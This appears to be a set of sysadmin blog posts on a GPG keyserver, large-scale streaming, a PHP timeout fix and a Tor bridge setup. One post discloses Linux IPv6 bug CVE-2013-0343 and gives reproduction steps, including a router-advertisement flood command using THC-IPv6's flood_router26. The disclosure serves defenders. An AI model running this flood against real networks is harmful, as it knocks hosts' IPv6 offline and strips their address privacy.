keys.void.gr – A GPG Keyserver in Greece

After some months of entertaining the idea of setting up a public gpg keyserver I finally managed to find some time and do it this weekend.

Habemus keys.void.gr Keyserver!

Some history
The first time I set up a gpg keyserver was 3 years ago. Its purpose was to make it possible for a researcher to get more results than the default on a single query from a keyserver. Using that keyserver the Greek PGP Web of Trust 2012 edition was created. After the original import of the keys, I refreshed the keys just 2 or 3 times in the following years.

The setup
The keyserver is running on Debian Linux with SKS version 1.1.5. Port 80 and 443 are being handled by nginx which acts as a reverse proxy for SKS. I originally had port 11371, the default port that gpg client uses, behind nginx as well but I had to remove it due to the following issue. I like using HSTS header for the HTTPS port, but browsers trying to access http://keys.void.gr:11371, were switching to https://keys.void.gr:11371 (because of HSTS) which couldn’t work because port 11371 does not use TLS. So once a browser visited https://keys.void.gr and got the HSTS header, every future connection towards http://keys.void.gr:11371 would fail. The solution was to use a protocol multiplexer called sslh. What this does, is that it sniffs the connections coming towards port 11371 and if it finds a TLS connection, it sends it to port 443, if it finds an HTTP connection it sends it to port 80. That way you can either visit http://keys.void.gr:11371 or https://keys.void.gr:11371 and they both work.

For ports 80,443 the connection path looks like: client -> nginx -> sks
For port 11317 the connection path looks like: client -> sslh -> nginx -> sks

keys.void.gr is available in both IPv4 and IPv6.

I’ve also setup an onion/hidden service for the keyserver, so if you prefer visiting the onion address, here it is: wooprzddebtxfhnq.onion (available on port 11371 as well).

Difficulties
I’m not sure if it’s the Debian package’s fault or I did something stupid, but if you plan on running your own keyserver be very careful with permissions on the your filesystem. sks errors are not very friendly. Make sure that /var/spool/sks, /var/lib/sks and /var/log/sks are all owned by debian-sks:debian-sks.
# chown -R debian-sks:debian-sks /var/spool/sks /var/lib/sks /var/log/sks
Don’t run the DB building script as root, run it as debian-sks user:
# sudo -u debian-sks /usr/lib/sks/sks_build.sh
There are a quite some tunables referenced in the sks man page regarding pagesizes, I went with the default options for now.

The pool
To enter the pool of keyservers and start interacting with other keyservers you have to join the sks-devel mailing list and announce your server existence by sending your “membership line” which looks like this:
keys.void.gr 11370 # George K. <keyserver [don't spam me] void [a dot goes here] gr> #0x721006E470459C9C

If people place this line in their membership config file and you place theirs, then the keyservers start communicating, or “gossiping” as it is called in the sks language. It needs to be mutual.

Because of the minimal traffic I was seeing on the mailing list archives I thought that finding peers would take weeks, if not months. I was very very wrong. I got 6 replies to my email in less than 2 hours. Impressive. Thanks a lot people!

UI
I’ve taken the boostrap-ed HTML from https://github.com/mattrude/pgpkeyserver-lite.

TODO
hkps support will be added in the following days or weeks.

Stats
keys.void.gr Keyserver statistics
sks-keyservers.net pool Status for keys.void.gr

Enjoy!

Linux kernel handling of IPv6 temporary addresses – CVE-2013-0343

I reported this bug on November 2012 but as of February 2013 it still hasn’t been fixed.

My initial report on oss-security and kernel netdev mailing lists reported it as an ‘information disclosure’ problem but then I found out that the issue is more severe and it can lead to the complete corruption of Linux kernel’s IPv6 stack until reboot. My second report wasn’t public, I thought it would be better not to make any public disclosure until the kernel people had enough time to respond, and was only sent to a number of kernel developers but I’m making it public now since the CVE is already out.

If someone wants to read all the publicly exchanged emails the best resource is probably this: http://marc.info/?t=135291265200001&r=1&w=2

Here’s the initial description of the problem:

Due to the way the Linux kernel handles the creation of IPv6 temporary addresses a malicious LAN user can remotely disable them altogether which may lead to privacy violations and information disclosure.

By default the Linux kernel uses the ‘ipv6.max_addresses’ option to specify how many IPv6 addresses an interface may have. The ‘ipv6.regen_max_retry’ option specifies how many times the kernel will try to create a new address.

Currently, in net/ipv6/addrconf.c,lines 898-910, there is no distinction between the events of reaching max_addresses for an interface and failing to generate a new address. Upon reaching any of the above conditions the following error is emitted by the kernel times ‘regen_max_retry’ (default value 3):

[183.793393] ipv6_create_tempaddr(): retry temporary address regeneration
[183.793405] ipv6_create_tempaddr(): retry temporary address regeneration
[183.793411] ipv6_create_tempaddr(): retry temporary address regeneration

After ‘regen_max_retry’ is reached the kernel completely disables temporary address generation for that interface.

[183.793413] ipv6_create_tempaddr(): regeneration time exceeded - disabled temporary address support

RFC4941 3.3.7 specifies that disabling temp_addresses MUST happen upon failure to create non-unique addresses which is not the above case. Addresses would have been created if the kernel had a higher
‘ipv6.max_addresses’ limit.

A malicious LAN user can send a limited amount of RA prefixes and thus disable IPv6 temporary address creation for any Linux host. Recent distributions which enable the IPv6 Privacy extensions by default, like Ubuntu 12.04 and 12.10, are vulnerable to such attacks.

Due to the kernel’s default values for valid (604800) and preferred (86400) lifetimes, this scenario may even occur under normal usage when a Router sends both a public and a ULA prefix, which is not an uncommon
scenario for IPv6. 16 addresses are not enough with the current default timers when more than 1 prefix is advertised.

The kernel should at least differentiate between the two cases of reaching max_addresses and being unable to create new addresses, due to DAD conflicts for example.

And here’s the second, more severe report about the corruption of the IPv6 stack:

I had previously informed this list about the issue of the linux kernel losing IPv6 privacy extensions by a local LAN attacker. Recently I’ve found that there’s actually another, more serious in my
opinion, issue that follows the previous one. If the user tries to disconnect/reconnect the network device/connection for whatever reason (e.g. thinking he might gain back privacy extensions), then the device gets IPs from SLAAC that have the “tentative” flag and never loses that. That means that IPv6 functionality for that device is from then on completely lost. I haven’t been able to bring back the kernel to a working IPv6 state without a reboot.

This is definitely a DoS situation and it needs fixing.

Here are the steps to reproduce:


== Step 1. Boot Ubuntu 12.10 (kernel 3.5.0-17-generic) ==
ubuntu@ubuntu:~$ ip a ls dev eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 52:54:00:8b:99:5d brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.96/24 brd 192.168.1.255 scope global eth0
    inet6 2001:db8:f00:f00:ad1f:9166:93d4:fd6d/64 scope global temporary dynamic 
       valid_lft 86379sec preferred_lft 3579sec
    inet6 2001:db8:f00:f00:5054:ff:fe8b:995d/64 scope global dynamic 
       valid_lft 86379sec preferred_lft 3579sec
    inet6 fdbb:aaaa:bbbb:cccc:ad1f:9166:93d4:fd6d/64 scope global temporary dynamic 
       valid_lft 86379sec preferred_lft 3579sec
    inet6 fdbb:aaaa:bbbb:cccc:5054:ff:fe8b:995d/64 scope global dynamic 
       valid_lft 86379sec preferred_lft 3579sec
    inet6 fe80::5054:ff:fe8b:995d/64 scope link 
       valid_lft forever preferred_lft forever

ubuntu@ubuntu:~$ sysctl -a | grep use_tempaddr
net.ipv6.conf.all.use_tempaddr = 2
net.ipv6.conf.default.use_tempaddr = 2
net.ipv6.conf.eth0.use_tempaddr = 2
net.ipv6.conf.lo.use_tempaddr = 2

ubuntu@ubuntu:~$ nmcli con status
NAME                      UUID                                   DEVICES    DEFAULT  VPN   MASTER-PATH
Wired connection 1        923e6729-74a7-4389-9dbd-43ed7db3d1b8   eth0       yes      no    --
ubuntu@ubuntu:~$ nmcli dev status
DEVICE     TYPE              STATE
eth0       802-3-ethernet    connected

//ping6 2a00:1450:4002:800::100e  while in another terminal: tcpdump -ni eth0 ip6

ubuntu@ubuntu:~$ ping6 2a00:1450:4002:800::100e -c1
PING 2a00:1450:4002:800::100e(2a00:1450:4002:800::100e) 56 data bytes
64 bytes from 2a00:1450:4002:800::100e: icmp_seq=1 ttl=53 time=70.9 ms

--- 2a00:1450:4002:800::100e ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 70.994/70.994/70.994/0.000 ms

# tcpdump -ni eth0 host 2a00:1450:4002:800::100e
17:57:37.784658 IP6 2001:db8:f00:f00:ad1f:9166:93d4:fd6d > 2a00:1450:4002:800::100e: ICMP6, echo request, seq 1, length 64
17:57:37.855257 IP6 2a00:1450:4002:800::100e > 2001:db8:f00:f00:ad1f:9166:93d4:fd6d: ICMP6, echo reply, seq 1, length 64

== Step 2. flood RAs on the LAN ==

$ dmesg | tail
[ 1093.642053] IPv6: ipv6_create_tempaddr: retry temporary address regeneration
[ 1093.642062] IPv6: ipv6_create_tempaddr: retry temporary address regeneration
[ 1093.642065] IPv6: ipv6_create_tempaddr: retry temporary address regeneration
[ 1093.642067] IPv6: ipv6_create_tempaddr: regeneration time exceeded - disabled temporary address support

ubuntu@ubuntu:~$ sysctl -a | grep use_tempaddr
net.ipv6.conf.all.use_tempaddr = 2
net.ipv6.conf.default.use_tempaddr = 2
net.ipv6.conf.eth0.use_tempaddr = -1
net.ipv6.conf.lo.use_tempaddr = 2

//ping6 2a00:1450:4002:800::100e  while in another terminal: tcpdump -ni eth0 ip6

ubuntu@ubuntu:~$ ping6 2a00:1450:4002:800::100e -c1
PING 2a00:1450:4002:800::100e(2a00:1450:4002:800::100e) 56 data bytes
64 bytes from 2a00:1450:4002:800::100e: icmp_seq=1 ttl=53 time=77.5 ms

--- 2a00:1450:4002:800::100e ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 77.568/77.568/77.568/0.000 ms

# tcpdump -ni eth0 host 2a00:1450:4002:800::100e
17:59:38.204173 IP6 2001:db8:f00:f00:5054:ff:fe8b:995d > 2a00:1450:4002:800::100e: ICMP6, echo request, seq 1, length 64
17:59:38.281437 IP6 2a00:1450:4002:800::100e > 2001:db8:f00:f00:5054:ff:fe8b:995d: ICMP6, echo reply, seq 1, length 64

//notice the change of IPv6 address to the one not using privacy extensions even after the flooding has finished long ago.

== Step 3. Disconnect/Reconnect connection  ==
// restoring net.ipv6.conf.eth0.use_tempaddr to value '2' makes no difference at all for the rest of the process

# nmcli dev disconnect iface eth0
# nmcli con up uuid 923e6729-74a7-4389-9dbd-43ed7db3d1b8

ubuntu@ubuntu:~$ ip a ls dev eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 52:54:00:8b:99:5d brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.96/24 brd 192.168.1.255 scope global eth0
    inet6 2001:db8:f00:f00:5054:ff:fe8b:995d/64 scope global tentative dynamic 
       valid_lft 86400sec preferred_lft 3600sec
    inet6 fdbb:aaaa:bbbb:cccc:5054:ff:fe8b:995d/64 scope global tentative dynamic 
       valid_lft 86400sec preferred_lft 3600sec
    inet6 fe80::5054:ff:fe8b:995d/64 scope link tentative 
       valid_lft forever preferred_lft forever

//Notice the "tentative" flag of the IPs on the device

//ping6 2a00:1450:4002:800::100e  while in another terminal: tcpdump -ni eth0 ip6

ubuntu@ubuntu:~$ ping6 2a00:1450:4002:800::100e -c1
PING 2a00:1450:4002:800::100e(2a00:1450:4002:800::100e) 56 data bytes
^C
--- 2a00:1450:4002:800::100e ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

# tcpdump -ni eth0 host 2a00:1450:4002:800::100e
18:01:45.264194 IP6 ::1 > 2a00:1450:4002:800::100e: ICMP6, echo request, seq 1, length 64

Summary:
Before flooding it uses IP: 2001:db8:f00:f00:ad1f:9166:93d4:fd6d
After flooding it uses IP: 2001:db8:f00:f00:5054:ff:fe8b:995d –> it has lost privacy extensions
After disconnect/reconnect it tries to use IP: ::1 –> it has lost IPv6 connectivity

The problem currently affects all Linux kernels (including the latest 3.8), that have IPv6 Privacy Extensions enabled. The only distribution that has IPv6 Privacy Extensions enabled by default is Ubuntu starting from version 12.04. So Ubuntu 12.04 and 12.10 are currently vulnerable to this attack and can have their IPv6 stack corrupted/disabled by a remote attacker in an untrusted network.

Kernel developers and people from RedHat Security Team are trying to fix the issue which in my opinion involves changing parts of the logic of IPv6 addressing algorithms in the Linux kernel.

No mitigation currently exists apart from disabling IPv6 Privacy Extensions.

You can play with this bug using flood_router26 tool from THC-IPv6 toolkit v2.1.
Usage: # ./flood_router26 -A iface

P.S. I can’t tell if the stack corruption could also lead to other kernel problems, that would probably need some professional security researchers to look into it.

Scaling a small streaming system from 50 to 4000+ users

This post was originally written on 09/11/2012 but for various reasons it couldn’t be published earlier. It won’t be very technical, it’s mostly a behind the scenes view of how some of us at NOC GRNET tried to cope with an extreme spike of demands of a specific service we support.

Intro
At GRNET we provide a live streaming service to the Hellenic Parliament, who also connect to the Internet through our network. What we’re doing is that we’re serving the official TV channel of the Hellenic Parliament (the WebTV program actually). We have a machine that encodes (transcodes actually) video/audio and a separate streamer that serves the content to the clients via RTSP, RTMP and HTTP. While this service has been running for quite some time, and the streaming server has been used in various other occasions, it typically serves no more than 100 concurrent clients. With a stream at 640Kbps on average that’s abound 60Mbps of streaming traffic. The number of viewers usually goes up only when there’s something exciting going on. Our previous traffic spike was at 577Mbps on October 31st, when the Minister of Finance was presenting the budget for 2013 to the Parliament. What happened that day was that news reporters were on strike and it seems that one of the few news sources available at the time for people to use was the Parliament channel, either on the TV or through our stream. The viewership that day surpassed all previous expectations but the streaming system actually performed quite well considering we didn’t have any complaints.

Remember, remember the 7th of November
On the 7th of November almost everyone was on strike in Greece. There was a huge march arranged at 17:00 outside of the Greek Parliament to protest against the new harsh measures of Memorandum III that the parliament was to vote for at midnight.

We started seeing some traffic arriving, well leaving is more accurate, our streaming server at around 10:00 in the morning. Some news sites and blogs (tanea.gr, left.gr, protothema.gr) had already started posting links to our parliament’s streaming service for people to watch the discussion that was already taking place. At around 10:30 we were already serving more than 100Mbps while the traffic was steadily rising. A bit after 12:00 though things got really nasty. Websites like tovima.gr, zougla.gr and newsit.gr had posted our streaming links in their very first page. The discussions both inside the parliament and on the social networks had also started heating up. At 12:25 the traffic starting ramping up extremely fast!

12:25 160Mbps
12:32 367Mbps
12:38 597Mbps
12:42 756Mbps
12:49 779Mbps

That’s when traffic stopped growing any more. We actually saw some drop in the traffic and then up to 780Mbps and down again. It was obvious that we had reached some limit. It wasn’t very obvious though what the bottleneck was since the streaming system load was quite low, around 0.6-1.0 in a 4 vCPU VM and it also had a virtio-net/gigabit[1] network card. Theoretically it should be able to push at least 100-150 more Mbps. In order to cope with the increasing demand we changed the player web page in order to off-load some users to an experimental service that relies on IP multicast from the server and P2P between the clients for delivering streams. This bought us some time, about 2-3 hours. Also maybe because it was noon time, or due to more people using the experimental service or not being satisfied from the performance of the streaming video and disconnecting, traffic later on dropped “down” to an average of 650-700Mbits.

We started discussing short-term actions for improving the service so as to be able to cope with more demand. The streaming server was running on GRNET’s virtualization platform, which is based on ganeti, and the first thought we had was to try and add more network cards to the VM and somehow bond the cards together. Could we push more than 1Gbps from the same VM? The problem was that we couldn’t do any 802.3ad bonding since the “virtual switch” inside the virtualization platform did not support such features. One other solution would be to add another virtual network card and use Linux bonding mode 5 (balance-tlb) or 6 (balance-alb). After a bit of reading this mode was rejected as well. These two bonding modes expect from the ethernet card running on the machine to support ethtool to read their speed. Our VMs use virtio-net which doesn’t support this functionality for ethtool. We could switch to another type of network card, e1000 for example, but this could have an unmeasured/untested performance penalty which could actually negate the addition of a second network card.

Hundreds of thousands of Greeks were planning to join this huge protest starting at 17:00 and so were some of us working at GRNET, at least I was. We had to make a decision though, drop our plans and improve the streaming service to help more people, especially Greeks living abroad, to access the stream or just join others at Syntagma square? Our shift was ending soon anyway. We decided to stay at work and try and improve the service as far as we could.

The path we chose in order to “scale” was to create to a second instance of the streamer and try to “balance” client requests to both streamers using round robin DNS. That involved creating a checkpoint of the running VM at our storage system, copy the running VM’s image from that checkpoint as a new image and run a new VM with that image. So we would be cloning the current streaming service while the service was running and serving clients (take that Windows!).

So we provisioned a new Debian server through LDAP, added the copied image disks at the VM’s configuration, booted the VM, run puppet to change the configuration files according to the new hostname and IP, and we were ready to serve more clients. After some testing we created a RR DNS entry, “streamer-frontend.domain.gr” which pointed to both first-streamer.domain.gr and second-streamer.domain.gr and had a TTL of 60. Changing the landing page though to serve streamer-frontend.domain.gr as the streamer url wasn’t enough. The first problem was that there were news sites and blogs that had copied directly our first streamer’s URL instead of the live.grnet.gr/paliament/ landing page, which actually runs on a different system and is served by an Apache2 server (more on that later). Having already more than 1000 streams on the first streamer and then starting to do RR DNS on both servers meant that there would still be a large number of clients served by the first server and new people getting directed there would only make matters worse, while people directed to the second server would have a much better service experience. So what we actually did was point streamer-frontend.domain.gr not on both first-streamer.domain.gr and second-streamer.domain.gr but just second-streamer.domain.gr. We also changed the IP address of first-streamer A,AAAA records to second-streamer’s IP and flushed the first-streamer RR at our caching resolvers. Since many people use our caching resolvers, especially students with DSL lines, we were able to direct even more people towards the second-streamer.

Before adding second-streamer.domain.gr:

* first-streamer.domain.gr -> 1.2.3.4 TTL 86400
* live.grnet.gr/parliament/ pointing the streamer URL at first-streamer.domain.gr

After adding second-streamer.domain.gr:

* streamer-frontend.domain.gr -> 1.2.3.5 TTL 60
* first-streamer.domain.gr -> 1.2.3.5 TTL 60
* second-streamer.domain.gr -> 1.2.3.5 TTL 60
* live.grnet.gr/parliament/ pointing the streamer URL at streamer-frontend.domain.gr

That way people disconnecting from the stream and reconnecting some time later on were pointed to the new server, if they used our landing page. That meant better quality streaming for both “old” clients getting their stream from first-streamer, and for the new clients that were being served from second-streamer.

Within 30 minutes since booting up, the second streamer was serving more than 250Mbps and after another 30′ its traffic had climbed up to 450Mbps while first-streamer was steadily serving more than 550Mbits. That lead us to an all time record of 1.02Gbps at 17:45. At that point we were serving more than 2000 concurrent streams. A number we never expected for this humble streaming service.

While traffic was increasing through the addition of the second streamer, another problem came up. Some misconfigured clients and HTTP proxies were opening up connections at the Apache 2 serving the web page and never closed them down. We hit Apache’s internal ServerLimit variable of 256 around 17:00. We had to increase ServerLimit inside Apache’s config and restart it:

ServerLimit 500
<IfModule mpm_prefork_module>
    StartServers         10 
    MinSpareServers      15 
    MaxSpareServers      25 
    MaxClients          500
    MaxRequestsPerChild   0  
</IfModule>

After some minutes of happiness another “unexpected” issue came up. It started to rain in Athens, so people who were at the protest at Syntagma square would probably leave soon and go home. There would certainly be an increase in traffic. And what about midnight, which is when the MPs were supposed to vote on the new measures? People would be sitting at their computers, bashing the politicians on Twitter and Facebook while watching the Parliament’s stream. At the same time we started seeing a big increase in international traffic, since more Greeks living abroad were tuning in; this stream was probably the only way they could watch what was happening at the Parliament.

That only meant one thing. Hello third-streamer! 10′ later we had another streamer running. But we also wanted to make some changes to the first two VMs. We wanted to add more vCPUs, going from 4 to 8, add more RAM, going from 4096Mb to 6144Mb, and do some minor performance tuning on the software. That meant restarting the VMs in order to activate the additional resources… luckily the chairman of the Parliament announced a 10 minute recess some time around 19:30. That was our chance… we changed back first-streamer’s IP address, added it to streamer-frontend RR DNS while also adding third-streamer to it. Then we rebooted the first two VMs. After 30″ we had 3 streamers running and waiting for clients to join them. third-streamer instantly got more than 200Mbps at the very moment we rebooted the other 2 VMs.

After adding third-streamer.domain.gr:

* streamer-frontend.domain.gr -> {1.2.3.4 | 1.2.3.5 | 1.2.3.6} TTL 60
* first-streamer.domain.gr -> 1.2.3.4 TTL 60
* second-streamer.domain.gr -> 1.2.3.5 TTL 60
* third-streamer.domain.gr -> 1.2.3.6 TTL 60
* live.grnet.gr/parliament/ pointing the streamer URL at streamer-frontend.domain.gr

At 20:10, some of us decided to leave work after 11 hours, having 3 streamers running that had already reached 1.2Gbps of traffic. There were more than 2800 concurrent users at the time…

Our assumptions for midnight came true. Around that time, more than 4000 people had tuned in to the parliament’s stream and we were pushing about 1.66 Gbps. That was probably the all-time record for a single service in GRNET.

A big problem we didn’t solve that night
Unfortunately, each client gets a unique session id from the streamer, also when requesting an HTTP stream. These are not shared among the streamers, so if you send a subsequent HTTP request to a different streamer, who does not track that session id, it will not serve the request as expected but rather prompt the client to start a new session. Since some browsers did not cache the RRs of streamer-frontend long enough (remember that low TTL?) they would spread their requests to all the streamers. We knew this was happening but there was no way to solve this without extensive changes to the setup, which would have to be tested of course would mean significant downtime for the service. Therefore, depending on the browser people used, some got better or worse service than others. The good thing is that we know how to fix this in the future.

Some Stats & Graphs
more than 31000 unique IPs connecting to the streaming service
more than 4000 concurrent users at peak time
more than 4.7 TB of data streamed

first-streamer ethernet traffic:

second-streamer ethernet traffic:

third-streamer ethernet traffic:

Streamer client types

Streamer LAN traffic aggregates:

Create your own graphs here: http://mon.grnet.gr/rg/157184/details/

Epilogue
Yeah, there were hiccups in the stream for many many people, we acknowledge that. But we certainly did the best we could to keep the service running. Could we have done better ? Yes we could, but we would have to re-design the service and make some drastic changes that were never tested before. We didn’t want to risk making drastic changes that might not work at all while we could somewhat “scale” our service using a “working” solution. I wonder what will happen on Sunday when the Parliament votes for 2013 budget…Will we exceed our previous peak? We’ve already discussed alternatives to cope with the extra traffic and we’ll definitely be better prepared [2]!

I think that zmousm, alexandros and me did a fairly good job regarding the circumstances. We should buy each other a beer sometime..We’ll treat faidonl another one though for his helpful consulting 🙂

Since no external CDNs or other services provided by companies abroad were used, this might be the event with the biggest ever demand in network resources served from within Greece.

Do you like solving such problems ? Then there might be a lurking sysadmin inside you 😉

[1] After a talk with apoikos, he corrected me saying that virtio-net does not have a “gigabit” capacity. Virtio-net’s capacity is only limited by the node resources available, so it can theoretically perform better than gigabit. So our thoughts on using balance-alb/tlb to cope with the extra bandwidth were wrong. This clue points out that the cause of bottleneck on the streamer that couldn’t go over 800Mbps was the streamer software itself since both VM’s and hardware node’s system load were low.

[2] On 11/11/2012 the Greek Parliament voted for 2013 budget. What we did prior to that day to cope with the traffic was to setup a new version of the streamer software, that actually came out on 08/11/2012 just one day after the initial spike, that had the option to disable session IDs. Then it was quite straightforward to add some varnish caches in front of the streamers to serve the HTTP streams to the clients. Unfortunately client demand was somewhat lower, it only reached 0.92Gbps.

When in doubt, always blame the application

When you have a misbehaving system and you are not sure what the problem is, always bet on a poorly written application.

Here’s a small example of how another poorly written web application caused system issues.

I was sitting at my office today I when I got this nagios alert for a host.

Date/Time: Tue Nov 6 19:15:11 EET 2012
Additional Info:
SWAP CRITICAL – 0% free (0 MB out of 509 MB)

Logging in actually showed all the swap’s been used and so was RAM, 0.95/1Gb. Lots of apache2 server instances were running. I did a netstat and I saw a lot of ESTABLISHED connections:

tcp6       0      0 2001:DB8:f00::1:35571 2001:DB8:bar::100:80 ESTABLISHED 9631/apache2    
tcp6       0      0 2001:DB8:f00::1:35777 2001:DB8:bar::100:80 ESTABLISHED 9656/apache2    
tcp6       0      0 2001:DB8:f00::1:36531 2001:DB8:bar::100:80 ESTABLISHED 11578/apache2   
tcp6       0      0 2001:DB8:f00::1:36481 2001:DB8:bar::100:80 ESTABLISHED 11158/apache2   
tcp6       0      0 2001:DB8:f00::1:36295 2001:DB8:bar::100:80 ESTABLISHED 11115/apache2   
tcp6       0      0 2001:DB8:f00::1:34831 2001:DB8:bar::100:80 ESTABLISHED 8312/apache2  

2001:DB8:f00::1 -> my server
2001:DB8:bar::100 -> dst server

As one can easily see my server is connecting to port 80 of dst, possibly asking for something over HTTP.

# netstat -antpW | grep 2001:DB8:bar::100 | wc -l
111

# dig -x 2001:DB8:bar::100 +short                                 
crl.randomcertauthority.com.

tailing the log files didn’t show anything weird happening. I run a tcpdump for that dst server but there wasn’t at that time any traffic going on.

So, I took a look at munin to see when this problem started developing.



As it’s obvious from the above graphs, the problem started around 14:00. So I took another look at the apache logs and I saw a bot crawling a specific url from my server. I visited that url on my server using curl and I saw traffic flowing through tcpdump going from my server to dst server. So visiting that URL was definitely causing problems. But why?

I restarted apache, swap and memory were released, all the stale ESTABLISHED connections went away and I saw hundreds of FIN/RST packets going back and forth at tcpdump.

I tried to open a few concurrent connections from my PC to my server’s url using curl. After a couple of tries netstat showed that I had managed to create stale ESTABLISHED connections towards dst server. It was an HTTP connection asking for a crl. So I was both able to reproduce the problem and I also knew the specific url of the dst server that caused the connection hanging issues.
Next thing I did was to try to open direct HTTP connections from my server to the dst url using curl. After a few concurrent connections I managed to make curl hang. So the problem was definitely not on my server, but at the dst server.

Since it was already quite late, my first (re)action was to install mod_evasive to try and minimize the problem so I could take a better look the next day.

# aptitude install libapache2-mod-evasive
# a2enmod mod_evasive
### edit /etc/apache2/sites-enabled/site-name and add the following
       <IfModule mod_evasive20.c>
            DOSHashTableSize    3097
            DOSPageCount        1   
            DOSSiteCount        50  
            DOSPageInterval     1   
            DOSSiteInterval     1   
            DOSBlockingPeriod   10  
            DOSEmailNotify myemail@mydomain.gr
        </IfModule>
# /etc/init.d/apache2 reload

I tried to curl my server’s URL from my PC and I got blocked after the second concurrent try. But after some repetitions I was still able to create one or two stale ESTABLISHED connections from my server to the dst server. Far fewer than before but the problem was still somewhat reproducible.

Then I decided to take a look at the site’s PHP code. Finding the culprit was quite easy, I just had to find the code segment where PHP requested the dst server’s url.
Here’s the code segment:

$ch = curl_init($this->crl_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$crl_content = curl_exec($ch);

The developer had never thought that the remove server might keep the connection open for whatever reason (rate limiting anyone?)

Patching it was quite simple:

$ch = curl_init($this->crl_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,'60');
curl_setopt($ch, CURLOPT_TIMEOUT,'60');
$crl_content = curl_exec($ch);

After this everything worked fine again. Connections were getting ESTABLISHED but after 60 seconds they got torn down, automagically. No more stale ESTABLISHED connections. Hooray!

A letter to every developer:

Dear developer,

please test your code before shipping. Pretty please take corner cases into account. We know you’re competent enough, don’t be lazy.

Your kind sysadmin

setting up tor + obfsproxy + brdgrd to fight censhorship

*WARNING* 14/01/2014 This post is quite deprecated. For example obfsproxy has been completely rewritten in python and there is a newer and more secure replacement of obfs2, named obfs3. Please read this obfsproxy-debian-instructions for any updates.

*Updated* look at the bottom for list of changes

This post is a simple guide to create a debian/ubuntu packages out of the latest versions of Tor, obfsproxy and brdgrd in order to setup a “special gateway” and help people who face censorship issues. Sharing some of your bandwidth helps a lot of people get back their freedom.

Tor
I guess most people already know what Tor is, quoting from Tor’s website:

Tor is a network of virtual tunnels that allows people and groups to improve their privacy and security on the Internet. It also enables software developers to create new communication tools with built-in privacy features. Tor provides the foundation for a range of applications that allow organizations and individuals to share information over public networks without compromising their privacy.

obfsproxy

obfsproxy is a tool that attempts to circumvent censorship, by transforming the Tor traffic between the client and the bridge. This way, censors, who usually monitor traffic between the client and the bridge, will see innocent-looking transformed traffic instead of the actual Tor traffic.

brdgrd

brdgrd is short for “bridge guard”: A program which is meant to protect Tor bridges from being scanned (and as a result blocked) by the Great Firewall of China.

Combining these to work together is quite easy if you follow this simple guide/howto.



////// Become root
$ sudo su -

////// Get build tools/packages
# cd /usr/src/
# apt-get install build-essential libssl-dev devscripts git-core autoconf debhelper autotools-dev libevent-dev dpatch pkg-config
# apt-get install hardening-includes asciidoc docbook-xml docbook-xsl xmlto
# apt-get install screen libnetfilter-queue-dev

////// Get latest versions of tor/obfsproxy/brdgrd
# git clone https://git.torproject.org/debian/obfsproxy.git
# git clone https://git.torproject.org/debian/tor.git
# git clone https://git.torproject.org/brdgrd.git

////// Compile obfsproxy & create package
# cd obfsproxy/
# ./autogen.sh 
# debuild -uc -us 

////// Compile tor & create package
# cd ../tor/
# ./autogen.sh 
# debuild -uc -us 

////// Install packages
////// The following package versions might be different depending on your configuration. Change them appropriately by looking at the deb files in your path: ls *.deb

# cd ..
# dpkg -i tor-geoipdb_0.2.4.3-alpha-1_all.deb obfsproxy_0.1.4-2_amd64.deb tor_0.2.4.3-alpha-1_amd64.deb

////// Create Tor configuration
////// PLEASE SEE THE CHANGEME_X VARIABLE BELOW BEFORE RUNNING THE FOLLOWING COMMAND

# cat > /etc/tor/torrc << EOF 
AvoidDiskWrites 1
DataDirectory /var/lib/tor
ServerTransportPlugin obfs2 exec /usr/bin/obfsproxy --managed
Log notice file /var/log/tor/notices.log
## If you want to enable management port uncomment the following 2 lines and add a password
## ControlPort 9051
## HashedControlPassword 16:CHANGEME
## CHANGEME_1 -> provide a nickname for your bridge, can be anything you like.
Nickname CHANGEME_1
## CHANGEME_2 -> How many KB/sec will you share. Don't be stingy! Try putting _at least_ 20 KB.
RelayBandwidthRate CHANGEME_2 KB
## CHANGEME_3 -> Put a slightly higher value than your previous one. e.g if you put 500 on CHANGEME_2, put 550 on CHANGEME_3.
RelayBandwidthBurst CHANGEME_3 KB
ExitPolicy reject *:* 
## CHANGEME_4 -> If you want others to be able to contact you uncomment this line and put your GPG fingerprint for example.
#ContactInfo CHANGEME_4
ORPort 443 
#ORPort [2001:db8:1234:5678:9012:3456:7890:1234]:443
BridgeRelay 1
## CHANGEME_5 -> If you don't want to publish your bridge in BridgeDB, so you can privately share it with your friends uncomment the following line
#PublishServerDescriptor 0
EOF

////// Restart Tor

# /etc/init.d/tor restart

////// Compile and run brdgrd
////// If you've changed ORport in Tor config above, be sure to change the "--sport 443" port below as well
////// brdgrd does not help since obfsproxy is already running in front of the bridge, but won't hurt either.

# cd brdgrd/
# make
# iptables -A OUTPUT -p tcp --tcp-flags SYN,ACK SYN,ACK --sport 443 -j NFQUEUE --queue-num 0
////// brdgrd Can't do IPv6 yet...so the next line is commented out
////// ip6tables -A OUTPUT -p tcp --tcp-flags SYN,ACK SYN,ACK --sport 443 -j NFQUEUE --queue-num 0
////// You can run brdgrd without root, just by setting some correct cap_net_admin rights
////// Instead of: screen -dmS brdgrd ./brdgrd -v
$ sudo screen -dmS brdgrd setcap cap_net_admin=ep ./brdgrd -v

# tail -f /var/log/tor/notices.log

The above guide has been tested on Debian Squeeze and Ubuntu 12.04.

That’s it. You just made the world a better place.

*Update*
I’ve made some changes to the post according to comments on the blog post and #tor-dev.
a) Changed URLs for the git clone operations to https:// instead of git://
b) Changed brdgrd git url to gitweb.torproject.org instead of github.
c) Changed config sections of torrc file
d) Added some more info on brdgrd

*Update2*
Tor has published “official” instructions for setting up obfsproxy bridges on Debian boxes –> Setting up an Obfsproxy Bridge on Debian/Ubuntu

*Update3*
Update sample config to inform about unpublished bridges.

AthCon 2012 Review

